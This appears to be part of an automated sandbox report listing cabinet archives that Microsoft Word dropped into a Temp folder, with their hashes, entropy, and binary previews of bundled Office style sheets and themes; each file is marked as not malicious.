..#.q...W.Q...G=.."W..'.6....I....D._.{.g.47....V.1._..<?....m............)..T.

C:\Users\user\AppData\Local\Temp\cabEA54.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15691 bytes, 2 files, at 0x4c "gb.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31835
Entropy (8bit):	7.81952379746457
Encrypted:	false
SSDEEP:	768:ltJDH8NmUekomvNufaqA8Pi6x5q3KQIGu:lvINukgzP7x5mRIGu
MD5:	92A819D434A8AAEA2C65F0CC2F33BB3A
SHA1:	85C3F1801EFFEA1EA10A8429B0875FC30893F2C8
SHA-256:	5D13F9907AC381D19F0A7552FD6D9FC07C9BD42C0F9CE017FFF75587E1890375
SHA-512:	01339E04130E08573DF7DBDFE25D82ED1D248B8D127BB90D536ECF4A26F5554E793E51E1A1800F61790738CC386121E443E942544246C60E47E25756F0C810A3
Malicious:	false
Preview:	MSCF....K=......L...........................K=...?..................q<......................gb.xsl.................Content.inf.EF/.....[...A....3D.4..oVP!i/......t.6..l&9r0.8......c..q.^........$/..(./H ...^_Z0\4.42WU......P.F..9.._....'.D..<H@..E.b,K..9o..wo..v\|..[.{7m.......\|}aI..\|g....IF2au?.1,..3.H.......ed....-.........m....$..8&0..w........2....s....z..d.Z.e.....@$r[..r..4...."E.Q@...Hh.B"b>...$.L.$.P.._..~.?./T..@..F..?.~G...MS..O%Z3k..:..._...!GF..U...!..W..$..7...j......xy0..../.j..~4......8...YV....Fe.LU..J.B.k%BT5.X.q.w.a4....5..r...W.6.u...]i...t.....e.\.K............#t.c5.6....j...?#..{.m3.L9...E/....B[R.k(.'....S.'.}!j.tL..v....L....{<.m4......d_kD..D.....4`aC....rg..S..F.b..^........g;.`?,......\..T.\.H.8W.!V...1.T1.....\|.Uh....T..yD'..R.......,.`h..~.....=......4..6E..x#XcVlc_S54 ..Q.4!V..P...{w..z...u.v....DC...W.(>4..a..h.t.F.Z...C.....&..%v...kt....n..2....+.@...EW.GE..%.:R`,}v.%.nx.P.#.f.......:.5(...]...n3{...v........Q..

C:\Users\user\AppData\Local\Temp\cabEA55.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6450 bytes, 2 files, at 0x44 "ThemePictureAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22594
Entropy (8bit):	7.674816892242868
Encrypted:	false
SSDEEP:	384:L7d2l8FbHaaIKbtv1gDISi8E0GftpBjEZRFLrHRN74bUll7PK/pd:LUlCIOt/8Pi6Zv4bMId
MD5:	EE0129C7CC1AC92BBC3D6CB0F653FCAE
SHA1:	4ABAA858176B349BDAB826A7C5F9F00AC5499580
SHA-256:	345AA5CA2496F975B7E33C182D5E57377F8B740F23E9A55F4B2B446723947B72
SHA-512:	CDDABE701C8CBA5BD5D131ABB85F9241212967CE6924E34B9D78D6F43D76A8DE017E28302FF13CE800456AD6D1B5B8FFD8891A66E5BE0C1E74CF19DF9A7AD959
Malicious:	false
Preview:	MSCF....2.......D...........................2....?..................0...............ThemePictureAccent.glox.....0...........Content.inf.o.@D..8.[.........B.....?. $...K.....~....aZ.WA"...k.......Z......."......"..X.fpB 2@d..87.[.A......p..e.'......F..P^%.%.RK...........T%0..........9..+8 ...&.q.....+.......^.fad^^n...d.....s1..... .3j.c-c7..y<.....6........C5n.KG...Rs[lt..ZkwI.!..Uj.ez_!A^: /.;.Rl4....^..<6..N...'.YY.n.E{.`..s.7..z.......L.y.Y.....q.kx.....[5.+<to......1...L.r.m..kC.q.k.1..o.w8s.....xh.@.b.`l\...}z1.6..Y.</DY...Z5..D...0..4.;..XAA..0qD..E.....h...C..hH......S..Z.\.VBu......Rxs.+:RKzD......{......a..=......).<.....d.SM.......c!t.4.h..A=J~.>q?Hw.^.....?.....[..`....v.nl..A.u...S!...............c......b.J.I.....D...._?}..or.g.JZ#."_``.>.....{...w......s...R.iXR..'z....S.z.\..f.....>7m..0q.c-8\..nZw.q..J.l....+..V....ZTs{.[yh..~..c........9;..D...V.s...#...JX~t8%......cP^...!.t......?..'.(.kT.T.y.I ...:..Y3..[Up.m...%.~

C:\Users\user\AppData\Local\Temp\cabEA66.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14864 bytes, 2 files, at 0x4c "mlaseventheditionofficeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31008
Entropy (8bit):	7.806058951525675
Encrypted:	false
SSDEEP:	768:ktH7oN/HbwiV+M+4Jc+5UrT3czi5uOHQA8Pi6DxUR/WTZIy:87sPEANXJc+eTMsuzP7DmN0ZIy
MD5:	E033CCBC7BA787A2F824CE0952E57D44
SHA1:	EEEA573BEA217878CD9E47D7EA94E56BDAFFE22A
SHA-256:	D250EB1F93B43EFB7654B831B4183C9CAEC2D12D4EFEE8607FEE70B9FAB20730
SHA-512:	B807B024B32E7F975AED408B77563A6B47865EECE32E8BA993502D9874B56580ECC9D9A3FEFA057FDD36FB8D519B6E184DB0593A65CC0ACF5E4ACCBEDE0F9417
Malicious:	false
Preview:	MSCF.....:......L............................:...?...................9......................mlaseventheditionofficeonline.xsl.L...............Content.inf.N.#.....[...>..9..3c.5...F.B.]Y.3..%d.8...v;....~Y.L.=..v..m.g...\|K.B....$......s.......#CdE.p.p..@...j.Nl2'...L..N.G:-V:.d.....i..M........mK.w.....\W.<.`..b$.!..!3..rT.A..#.).;KZ...a.-..j&e`R.~7dIRS.I..f.ff....}.}....^[wo.uw..i.m7......v$.I..n....-.Z.M5...iH..Ea..., [..0.L...DH..." ..... .@...H.@..+...}.......^..'.4.tHa..f].gV..~.7V.....C..).(.U"..f.@l..j'..%\.u.UU.....9<13...5..=........./..Z..{..-.L].+Y.fL.<EJ.q..!.j....W..]E./.~Y>...GgQ..-....Q.C..5..T+...fO. .)..~.7..Y....+..U=.e..8w.m...._..S..v.d.* ......S3z.X)......u...t.......i.;.a...X.Ji....g.3.!.O.....T.f6..[U....O..Z.X.q.G....?.k]..?...8.u.;].8y.T.9D..!?R....:........3+.P.....7?m}..............1...y3.g.\c.ks^;?.f.U5...U.j....E.N.}.!.......).R1....~.....R.....3.J.f...l..E^:...&_..%..v...^..E...rC..O....M.#..<..H..bB.+.W..

C:\Users\user\AppData\Local\Temp\cabEA67.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 27509 bytes, 2 files, at 0x4c "Equations.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	43653
Entropy (8bit):	7.899157106666598
Encrypted:	false
SSDEEP:	768:+bjfeR1OOZvv439PlDe5/QzhgFSo0UEDmJwkqTA8Pi63Bsgn66w:IM3CN9ZzhFbUUwaP73BsB6w
MD5:	DA3380458170E60CBEA72602FDD0D955
SHA1:	1D059F8CFD69F193D363DA337C87136885018F0F
SHA-256:	6F8FFB225F3B8C7ADE31A17A02F941FC534E4F7B5EE678B21CD9060282034701
SHA-512:	17080110000C66DF2282FF4B8FD332467AF8CEFFA312C617E958FDFEBEE8EEA9E316201E8ABC8B30797BB6124A5CC7F649119A9C496316434B5AB23D2FBD5BB8
Malicious:	false
Preview:	MSCF....uk......L...........................uk...?...................j......r...............Equations.dotx.................Content.inf.94v..R..[..... .............v........." Vw.w..r.....D.V5.p...W......b;....\x.....f.-...............l.....L.F....@..BnF.I.....%1..0....&.X.......X-.\.\.>..A....@..:...N .G./.Sp.A0.0.`.....q....b... ......S.{K...V....J............>\....\.E.#.,$.hxu.F.Fo....<...{..6../..#..l>d...w...&...S.....L.].....^..L......;~l.......qw.o. .....v.u.W`.4Z.A.....dC..Q)9.c..qgtfJ..G.(.J....q4V.).mK4;..zY..b.5&....V...0X.].Z..U.Lx..^..:8XQh.....7yy.._5............c.W...c...xY..%..G.$....kg^.1g.9.....z^.'...q."..K)a[.pW .LS.:Q8.....2..._q.os....y...d11..m....8.,.^.4_?i.e.u.,....._y.....zZZA.D.D<..+....{....Sfnv...t.....0...vV..y.r..3..%.<.t......;.h.wh.-.g.>..5...R...........y..]^..R..<...>$~.'...kk.n..H.EN.eQ.Q.O./='....)t.l0,/].....FNN......?...&..'.eS....K.K.v".^L..x=.^......1x\|....=}@...B.kq;_a..C.q?..Y9.v......Q..u.G..V.

C:\Users\user\AppData\Local\Temp\cabEA68.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3144 bytes, 2 files, at 0x44 "VaryingWidthList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19288
Entropy (8bit):	7.570850633867256
Encrypted:	false
SSDEEP:	384:5ZII4Hf+7G8E0GftpBjCwBFLrHRN7bcClvQyUTL2mH:pG8PicgbcAvU+mH
MD5:	B9A6FF715719EE9DE16421AB983CA745
SHA1:	6B3F68B224020CD4BF142D7EDAAEC6B471870358
SHA-256:	E3BE3F1E341C0FA5E9CB79E2739CF0565C6EA6C189EA3E53ACF04320459A7070
SHA-512:	062A765AC4602DB64D0504B79BE7380C14C143091A09F98A5E03E18747B2166BD862CE7EF55403D27B54CEB397D95BFAE3195C15D5516786FEBDAC6CD5FBF9CD
Malicious:	false
Preview:	MSCF....H.......D...........................H....?..................................VaryingWidthList.glox.................Content.inf...O.....[.... v.q......R.....>.%i.I.HhD.V...qt.....'....N...!..aw$(J.%(..A..h......l\|.D.p9`..Y09.:.u....p. :,..YD=0.p. ......w...........<..;.....u.."......7[....8.....?^........-..;q.\|.....B....PJ....r.K#.#.0'...}.........+gpR...T....5.iu.^I...A\..gK....}..z.B.nT.../.m.......N....E'1.E.\..o.....W..R.#.#...8.7...R.SbW-...%......$.obj.F..W_@....sY!........s.O..."k. ..b....j....v...P.\....7d...\|"J.T...2p..m.&..r..,2.).....X.`...xt].U...b.h..V.....\|L..N.Z.O#....o...1R.w30.g..?;..C.T.:$..MGY.C"i\.f..#..<.k...m..s.w. ..Ga].....wt.h\|.Ta<.......(SO.]9.%a..Z... r._JH.=O...P.9a.v.....Kj.".T...m...4.?...F...$...y.....hbW.UA..u.&)....py.C{.=t.....n...}\|H3A9.=..W..JJ..y./Y.E.M9..Z..w. .HB.YoIi..i.e..9;n...SpHw,....f....d>..g.m..z...... ...f...KP.M..U.....~vFD.fQ.P?......2!.n.....`@C!G...XI.].s,.X.'...u.E.o..f

C:\Users\user\AppData\Local\Temp\cabEA8A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15338 bytes, 2 files, at 0x4c "gosttitle.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31482
Entropy (8bit):	7.808057272318224
Encrypted:	false
SSDEEP:	768:LgHv7aLOcoLGQ4EykdrHwLa+A8Pi6Iv8ACIa:LwvWyx4EykdTwLaWP7I0ACIa
MD5:	F10DF902980F1D5BEEA96B2C668408A7
SHA1:	92D341581B9E24284B7C29E5623F8028DBBAAFE9
SHA-256:	E0100320A4F63E07C77138A89EA24A1CBD69784A89FE3BF83E35576114B4CE02
SHA-512:	00A8FBCD17D791289AC8F12DC3C404B0AFD240278492DF74D2C5F37609B11D91A26D737BE95D3FE01CDBC25EEDC6DA0C2D63A2CCC4AB208D6E054014083365FB
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......................gosttitle.xsl.$...............Content.inf....v....[...=..Ic.32.E...`o.............m....4uk[.,.......{...}k{.R@(Hq..68nv...@.D.....$...j....8Q..........8.8........3....bi?Wt...:(..J.;&eii..io.w..z...`.'..i.MLR@.>....N..3`P.>$X@(r.#.D..(....P"_..I.$o.. L!y...I...H.........{.{....{.3....7..w..{w.2sn.dYn.lW...l...c$.UH....L6. .D$$...!F.!... .D............_..'.`.Q.v>..Z..f.n.l....0o.......bK...?s..eO....'.>t......S'..........~....h...v&7:q.x9\|qs...%....:..D...ag.....e..'...".A.Y..?w"....p1t.9J.~.4.........~vj.n.8.;.O......../.}..io{p...e...\m.d`.gAm.......1"...N...8..g"......~..[.e+.....\6i4.....%...Rq.U-p?..4P..4.f.?N.vI?.M\i.;.s..E.L.hu.*...\..5....N......]......\`...rS.\g.....2..!a).?.l.!i.^.t.u...x...g/.A..v.E...\.@.>kM...&.g.....%.......{.....2..E.g...'..[w...N.w..& 4M.a.cu.%:...\.D..Q..C.'fm..i....@._......QI.. ....h..\|fB.il.(`..h.d;.l...`.s:

C:\Users\user\AppData\Local\Temp\cabEA8B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 17466 bytes, 2 files, at 0x4c "chicago.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 10 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	33610
Entropy (8bit):	7.8340762758330476
Encrypted:	false
SSDEEP:	768:IlFYcxiahedKSDNAPk5WEEfA8Pi6xnOKMRA58:2JitdKsNAM5WBDP7xOKMq58
MD5:	51804E255C573176039F4D5B55C12AB2
SHA1:	A4822E5072B858A7CCA7DE948CAA7D2268F1BB4B
SHA-256:	3C6F66790C543D4E9D8E0E6F476B1ACADF0A5FCDD561B8484D8DDDADFDF8134B
SHA-512:	2AC8B1E433C9283377B725A03AE72374663FEC81ABBA4C049B80409819BB9613E135FCD640ED433701795BDF4D5822461D76A06859C4084E7BAE216D771BB091
Malicious:	false
Preview:	MSCF....:D......L...........................:D...?..................XC.....................chicago.xsl. ...............Content.inf.!..B...[...H."m..3C.6...WP!i/Z..vn._...^omvw+...^..L.4o...g..y......^..x...BH.B.K....w.....F........p ./gg.h.0I',.$..a.`....^..vi..mw..........K....oQ............P...#...3.......U(.=...q.~?..H..?.'I4'.......X...}w.vw.....f.n..f{3.....-....%dK&q..D.H.Z..h-..H.[$ %.."..e....1...$.............'.....B..%..4...&`S!DQ...M.......N~............S..'....M..4E.^..dej..i..+.`...6F%sJ....Q..d.(.s.Z...U-5Eh.s.CK...K..X$......j..T.?.`.\|...=..R...-7......TU.....7a...&I.noOK\|.W.R-+S.d..rR.....{h.Y...)..xJ..=.XM..o...P'.I4m..~I..C..m.....f.....;{Mzg+Wm.~...z...r-.....eK...lj:^.1g5...7.h(T"..t?5......u.....G.Z<..sL.\{...8=t...Z...'tps.:...\|....6.....S..X...I...6l.M.....aq.;YS....{:.&.'.&.F.l...\.[L.%.so\.v.Lo...zO.^^...p..9k...).CC..F0>L...VUE4.......2..c..p.rCi..#...b.C@o.l.. E_b..{d...hX.\_!a#.E.....yS.H...aZ...~D3.pj: ss?.]....~

C:\Users\user\AppData\Local\Temp\cabEA8C.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6196 bytes, 2 files, at 0x44 "ThemePictureGrid.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22340
Entropy (8bit):	7.668619892503165
Encrypted:	false
SSDEEP:	384:GByvLdFHny7G8E0GftpBjE8upFLrHRN778lvQyUTL2mm2y:Oy3HkG8Pi6887mvU+ma
MD5:	8B29FAB506FD65C21C9CD6FE6BBBC146
SHA1:	CE1B8A57BB3C682F6A0AFC32955DAFD360720FDF
SHA-256:	773AC516C9B9B28058128EC9BE099F817F3F90211AC70DC68077599929683D6F
SHA-512:	AFA82CCBC0AEF9FAE4E728E4212E9C6EB2396D7330CCBE57F8979377D336B4DACF4F3BF835D04ABCEBCDB824B9A9147B4A7B5F12B8ADDADF42AB2C34A7450ADE
Malicious:	false
Preview:	MSCF....4.......D...........................4....?..................1...............ThemePictureGrid.glox.....1...........Content.inf....K..5.[.... V.q......B.....?.h.i.J.D...Z...>.....i~...A...Z....H.hy.D..X.....>...L.I..`. z w0}.K`.C{h....W\../.U..p\%...B...;............9..8.^M.....].lP.p...\|..?..M....E..S.`..-n........Q'.'.o..C}=..?`.bQ...J"0f.. ....k3n..F.Pu..#...w].`<...."D.].-.#+):..fe..=<.M...4..s.q.f._.=.T.M..U.[R.kbw.,......t6_I...~.X..$_.q....}2..BR...).[...<.l.3........h%....2.$`>..hG...0.6.S......._3.d~1.c.2g....7tTO..F.D.f.Y..WCG.B..T....Gg&.U'....u.S/......&6w..[bc.4....R.e..f.,....l."........I....J.=~...$x.&2...+,-.;.v.'.AQ.fc...v._..rZ..TYR...g?..Z..!.3mP dj...../...+...q.....>..../...]P.z?DW&.p..GZ....R5n......,..]{].0m.9...o.{...e."...8VH....w"%;.g\.K..p.}....#r.u..l.vS...Y.7U.N-E@.....~....E...x.....C.......{NP....5Ymk.*._.K...Z...f..;.......b.....,._@B..\.S..d.'\rs..].}.5"XJU.J..'.zk}.+P.)C.X.?9sx.D....(K....P^N_D...Z.........

C:\Users\user\AppData\Local\Temp\cabEA8D.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 18672 bytes, 2 files, at 0x4c "APASixthEditionOfficeOnline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.840826397575377
Encrypted:	false
SSDEEP:	768:i3R9VYnIYfPYmqX0CnF1SRHVnLG8Pi61YbEIFO:ih9VjYfPYlk+F1SJxP71YbEIFO
MD5:	62863124CDCDA135ECC0E722782CB888
SHA1:	2543B8A9D3B2304BB73D2ADBEC60DB040B732055
SHA-256:	23CCFB7206A8F77A13080998EC6EF95B59B3C3E12B72B2D2AD4E53B0B26BB8C3
SHA-512:	2734D1119DC14B7DFB417F217867EF8CE8E73D69C332587278C0896B91247A40C289426A1A53F1796CCB42190001273D35525FCEA8BA2932A69A581972A1EF00
Malicious:	false
Preview:	MSCF.....H......L............................H...?...................G......................APASixthEditionOfficeOnline.xsl.H...............Content.inf..h;.....[...Q..\..3S.5..oVP!i/Z.Ls...]q$...xY..+W.qm..B..y/.5.s..x$../K./.x.$.....}.......\........LNf..Hd.&."Ip.L.Mr-@.D..kW~i...^.....F.....T.U....../..0..2.{.q.T.`'{.00.{.B...>.R..2....1.~_.f..s...........~....~[..v..w..v....$[K.r$#[6...d;[...#.9.-...G..Z..eAR.0")%JI?&....$..$.H..$(........f.> k....hP...p...!j.T......l7..../3..(2^V...#..T9...3.@[0...le:...........E....YP.\.....au1...\.S\|..-.duN.Z..g.O......X8....1.....\|,.f/..w.\|Wk]zJz.g'./7h..+.....}............x....s.2Z\..W.{...O....W.{j.U..Q....uO=.p.M k.E.S{SUd.@....S.Syo8>......r......8..............Z?>.mUAg....?o....f.7..W.n...P..........d.S?...\..W`...c.ua..........#.Y...45...F(d.o\09^..[.}...BsT.SD..[l.8..uw.7l..S.9T.KR..o......V..]...M .....t.r...:P...M....4.F.....@..t.1t..S...k.2.\|5...i.%H..<.J...0n.....lZ.....?.?.~..O .)..

C:\Users\user\AppData\Local\Temp\cabEA8E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 16689 bytes, 2 files, at 0x4c "iso690.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	32833
Entropy (8bit):	7.825460303519308
Encrypted:	false
SSDEEP:	768:+0TU06CkaUYMoi//YX428RaFA8Pi6e9iA4I3w:vICTm/QorUpP7eAA4I3w
MD5:	205AF51604EF96EF1E8E60212541F742
SHA1:	D436FE689F8EF51FBA898454CF509DDB049C1545
SHA-256:	DF3FFF163924D08517B41455F2D06788BA4E49C68337D15ECF329BE48CF7DA2D
SHA-512:	BCBA80ED0E36F7ABC1AEF19E6FF6EB654B9E91268E79CA8F421CB8ADD6C2B0268AD6C45E6CC06652F59235084ECDA3BA2851A38E6BCD1A0387EB3420C6EC94AC
Malicious:	false
Preview:	MSCF....1A......L...........................1A...?..................S@......v...............iso690.xsl.................Content.inf.B.9.....[...A.c...32.E...P..'.^}.f...ikMJ....m..s..U.w{m{{...}n.4........I. ..9..d..I.......P\|....F...F.......&&J.:I.34......+M3..4mr.........m.r..m)....dK.wiw...H,...r........y.$..Cu...L...dH.../..V......g.PG$R39...4O..............{w..^....c.m.m.o.....#..Fgs..6.....b....3.I..O....B..B..1h"....K\|f .41......_..g.N.<.>........(....o3a.M)....J..}....-......8.......g.hm!r<...-..1.1....q.?....S.m...`L.g#.K.igv.].ghD....L...p5..?.......iP.[JS.J..?z~.T/.Q...E.K.......P+\LW.-.c..[9.n.7.....P...[.A1....m...4h.9...N[....h5 n%k.~RR.c..n..=...4....).eH.-./..>.....r..S.*..dE.........pF..s.A..?...f..u.+.{..?>N.4].}Xb.M......y......'.2..'..........J4{r..r.3........5>..a0.>.u_.y@g....+y.yu--,ZdD.........5]3..'.s...\|.....K.....T..G.G.e...)..\x..OM.g...`..j0......BfH...+.....:......l`.qU...;.@...",.."........>;P.B.^F...3!......Rx.9..

C:\Users\user\AppData\Local\Temp\cabEAC1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15327 bytes, 2 files, at 0x4c "sist02.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31471
Entropy (8bit):	7.818389271364328
Encrypted:	false
SSDEEP:	768:eNtFWk68dbr2QxbM971RqpzAA8Pi6TlHaGRA5yr:eNtEkpGSbuHAkP7TlHaGq54
MD5:	91AADBEC4171CFA8292B618492F5EF34
SHA1:	A47DEB62A21056376DD8F862E1300F1E7DC69D1D
SHA-256:	7E1A90CDB2BA7F03ABCB4687F0931858BF57E13552E0E4E54EC69A27325011EA
SHA-512:	1978280C699F7F739CD9F6A81F2B665643BD0BE42CE815D22528F0D57C5A646FC30AAE517D4A0A374EFB8BD3C53EB9B3D129660503A82BA065679BBBB39BD8D5
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......g...............sist02.xsl.................Content.inf....!....[...=.rF..3U.5...g.i?..w.oY..If'.......Y.;.B.....Wo.{T.TA.~......8......u.p....@Q..k.?.....G....j.\|.J69H.2.ee..23s..;3..i..L.,...0se.%J........%.....!.....qB...SC...GAu5.P..u7....:.\|.$Fo............{.......v.v.g..{o....e.....m.JeRG..,.%.1..Lh.@8.i.....l.#.HB`B....C......D@....?....P?..................\|.9..q.......9.n.....F...s,....3..Q..N......y......_i..9\|.<w...'q.Tq...U.E.B...q.?.4..O(_O.A.......jC.~.21.7.....u.C...]uc.....-.g.{C~9q.q.1.1...4..=.0.Z.^....'../....-.6.K.....K...A#.GR..t.@.{.O.......Q5..=....X...^...F3.e.E.Z..b+R..?Z..0T1.....gQz.&....%y=zx.f.....6-...u.Rm..x<...?...!g@.}..).J...:...9.s&.v..}..'...\..Sd..F...........kQr.....h..3..1....B...B{M...%O.59.\.#....s/.pE.:}...k_.P.>.zj....5\|.9+....$M..L........(...@#.....N.....N...........E..7..R$.:9!r>7.....v...>..S.w....9..]..n.w.;&.W..<r\S....

C:\Users\user\AppData\Local\Temp\cabECF9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 26644 bytes, 2 files, at 0x4c "Element design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	42788
Entropy (8bit):	7.89307894056
Encrypted:	false
SSDEEP:	768:Hx+UzBiwDQTXgBm029ClGn4BZz6i5kIew/jG8Pi6lYJz1gH:0ZXc29eGn2n5klwjxP7l2z1gH
MD5:	21A4B7B71631C2CCDA5FBBA63751F0D2
SHA1:	DE65DC641D188062EF9385CC573B070AAA8BDD28
SHA-256:	AE0C5A2C8377DBA613C576B1FF73F01AE8EF4A3A4A10B078B5752FB712B3776C
SHA-512:	075A9E95C6EC7E358EA8942CF55EFB72AC797DEE1F1FFCD27AD60472ED38A76048D356638EF6EAC22106F94AFEE9D543B502D5E80B964471FA7419D288867D5D
Malicious:	false
Preview:	MSCF.....h......L............................h...?..................@g......o...............Element design set.dotx.................Content.inf.Y/..Re..[......f........,..]....D.],....]..X.......XC4pE.....p........2..u;L.N.....]G..d.^d.$).e.=..;..Kb.../.../....H.."...w$._I..5.....a..4.Gd5p......v.8..1..%H..\..e...3.e..A..).d.. . (.8.".......(>..<...@...~v&.f..LWhqk]+Uep.d..%...o.....k.......e...nNN.&_.>.d.?H`"...r?..Z.p..q..<M.N.t....{.y]#...._XW"qI...x.......}.. .N...;.}:..m8...[.r.F....^?...o...u.....J3.V....~...~tn#.Kf6.s.\|*..,s...M.$.f..?Yu.pE.1_wU...%....._..'..Z......y:.{.J5..7..Q.w}/.~.-3~Ctw=..IT.....mI.u@...y.M....2.%...y...Y..j.k<-.Q.r...7m..b...+.6..\|.....U..}[...,....^....5..D..qW...[3).p.Y<.Hh..t...%cw=Z..W.~W.F....zr.4.g...O...P.g_^..3.-............3s...S..y...u...N...EsJz....tT../..c[w{cG....../6.....:.W<d5}.q..s..K"$........Ne..5..#.v'..n4.rj....Fc=....5..VN.....6..9`....\|..........WX..-?..........W.)^`1.......].R2..s6...H.......

C:\Users\user\AppData\Local\Temp\cabEF1E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 206792 bytes, 2 files, at 0x44 +A "content.inf" +A "View.thmx", flags 0x4, ID 33885, number 1, extra bytes 20 in head, 15 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	222992
Entropy (8bit):	7.994458910952451
Encrypted:	true
SSDEEP:	6144:k8/c2cF9GTLqsTmYstUdx+dwb2ooiVOfiI17zWbQ:jbzqGdpbZ/Mf3h68
MD5:	26BEAB9CCEAFE4FBF0B7C0362681A9D2
SHA1:	F63DD970040CA9F6CFCF5793FF7D4F1F4A69C601
SHA-256:	217EC1B6E00A24583B166026DEC480D447FB564CF3BCA81984684648C272F767
SHA-512:	2BBEA62360E21E179014045EE95C7B330A086014F582439903F960375CA7E9C0CF5C0D5BB24E94279362965CA9D6A37E6AAA6A7C5969FC1970F6C50876582BE1
Malicious:	false
Preview:	MSCF.....'......D...............]............'..H?..........z..................M{. .content.inf..l.........M{. .View.thmx......R..[...........@...G...I..(J.....B....Q!....}Ju..(BR..._\|.5.%.....6m...........?.w{.rm,....#....;Ba#.:v...Dv.."u.v{!...f}......!......:.S.......".z.f.......==.n.0Km0eh.Kbm.C.r.6.........d..h.....{..w..}....2sb...rvm..x...0(..B... ...BH.r#.@..d".*..F+...Q.sx.....?...d.d.eZ2W2.2d...q.I....4.e4....#.....K...3...1.p.y......>.~V....cm....n^..b.{..._D?..AG...'...k.L&..h}=p.....Wl....(.......>.~.].....'.4.W{......../......7.....'.s...w...6..hn..e.2.).l]u.v4...GF.X..X..X....G.i.\..y.g&.<&ti......Sp,j.....>I..S..%.y..........S..-).+...>...D..............[...d...jt.~<x.a(.MDW..a..ZI.;+..!,.$...~>#...).R4...K.$.Zm......b...........{..._..A{.}..r...X...T.ZI.T.).J...$.".U,.9...r.z.)......}...()<....m....QS.p...;?..5.W~2r.EZu..P.1.%'l.........+/6.Mm.\|2....Ty..f.o.S.....3J.._...X,..m....:..1.<GqFy.QA9W4.=....n...ZP...O.\.[...:8.%.^..H.....

C:\Users\user\AppData\Local\Temp\cabEF9D.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 291188 bytes, 2 files, at 0x44 +A "Banded.thmx" +A "content.inf", flags 0x4, ID 56338, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	307348
Entropy (8bit):	7.996451393909308
Encrypted:	true
SSDEEP:	6144:7vH3uG+yiWx0eVJyORloyyDqnHefzOs81MrXLXx7:b36yiWH/LRS2CJl1
MD5:	0EBC45AA0E67CC435D0745438371F948
SHA1:	5584210C4A8B04F9C78F703734387391D6B5B347
SHA-256:	3744BFA286CFCFF46E51E6A68823A23F55416CD6619156B5929FED1F7778F1C7
SHA-512:	31761037C723C515C1A9A404E235FE0B412222CB239B86162D17763565D0CCB010397376FB9B61B38A6AEBDD5E6857FD8383045F924AF8A83F2C9B9AF6B81407
Malicious:	false
